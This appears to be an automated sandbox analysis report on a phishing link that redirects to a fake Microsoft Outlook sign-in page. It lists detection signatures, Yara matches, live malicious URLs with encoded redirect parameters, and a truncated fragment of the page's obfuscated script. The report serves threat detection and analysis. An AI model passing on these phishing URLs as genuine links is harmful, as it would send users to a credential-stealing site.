Edit tour

Windows Analysis Report
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz

Overview

General Information

Sample URL:	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz
Analysis ID:	1432103
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish54

Yara detected Phisher

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Found iframes

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML page contains obfuscate script src

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2320,i,14859274825714643939,18036656266381728292,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_150	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Phishing site detected (based on favicon image match)

Source: https://scrdata-doc.cfd	Matcher: Template: microsoft matched with high similarity
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish54

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Yara detected Phisher

Source: Yara match

File source: dropped/chromecache_150, type: DROPPED

Phishing site detected (based on image similarity)

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	Matcher: Found strong image similarity, brand: MICROSOFT
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dh	Matcher: Template: microsoft matched
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	Matcher: Template: microsoft matched

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: function c(){if(!document.querySelector(".b") || !document.querySelector(".g")){document.head.appendChild(Object.assign(document.createElement("div"),{classList:["b"]}));document.documentElement.style.filter="hue-rotate(4deg)";document.head.appendChild(Ob...

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Other important privacy information
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: U.S. State Data Privacy
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Changes to this privacy statement
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Get Help

HTTP Parser: <input type="password" .../> found

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ	HTTP Parser: No favicon
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: No favicon
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: No favicon
Source: https://outlook.office365.com/owa/prefetch.aspx	HTTP Parser: No favicon
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: No favicon

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: No <meta name="author".. found

Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://r6duftx9uh6.scrdata-doc.cfd/owa/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.196.177.159:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.196.177.159:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49777 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
